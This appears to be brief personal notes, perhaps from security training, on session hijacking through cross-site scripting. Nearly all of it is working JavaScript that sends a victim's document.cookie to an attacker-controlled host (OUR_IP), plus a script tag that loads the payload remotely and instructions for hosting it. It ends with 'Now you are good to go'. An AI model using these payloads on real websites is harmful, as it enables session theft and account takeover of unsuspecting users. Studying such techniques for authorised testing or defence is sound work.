Session Hijacking

JavaScript payload to grab cookie:

document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://OUR_IP/index.php?c='+document.cookie;

Run from target side

<script src=http://OUR_IP/script.js></script>

Make a "script.js" on the attacker machine and put JS payload in it

Now you are good to go